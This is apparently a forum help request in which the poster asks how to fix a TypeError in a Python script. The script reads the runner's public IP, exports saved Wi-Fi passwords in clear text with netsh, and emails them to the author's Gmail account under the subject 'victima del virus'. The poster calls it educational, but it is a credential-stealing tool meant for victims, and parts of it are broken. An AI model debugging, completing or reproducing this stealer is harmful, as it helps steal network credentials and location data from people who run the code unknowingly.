im spanish so some parts of the code are in spanish
im making a app that sends me to me mail the public ip and wifi password of the person who executed the code (its a educational porpouse proyect)
it gives me this error :
File "crack part 1.py", line 23, in f = str(open("C:"+"/red inalambrica-",reques,".xml", "r")) TypeError: an integer is required (got type str)
my code in PYTHON 3.8.1
#748273879318792 try of do a ext. ip address email sent and not working
#finally it worked
import subprocess
requests = "requests"
subprocess.call(['pip', 'install', requests])
from requests import get
import smtplib
ip = str(get('https://api.ipify.org').text)
y = "C:"
reques = str(input("pon el nombre de tu red : "))
x = str(subprocess.call(['netsh', 'wlan', "export", "profile", "key=clear", "folder=", y]))
f = open("C:"+"/red inalambrica-",reques,".xml", "r")
TO = '[email protected]'
SUBJECT = 'victima del virus'
TEXT = ip, data
# Gmail Sign In
gmail_sender = '[email protected]'
gmail_passwd = '1230984567'
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login(gmail_sender, gmail_passwd)
BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: %s' % SUBJECT,str(TEXT)])
try:
server.sendmail(gmail_sender, [TO], BODY)
print ('email sent')
except:
print ('error sending mail')
server.quit()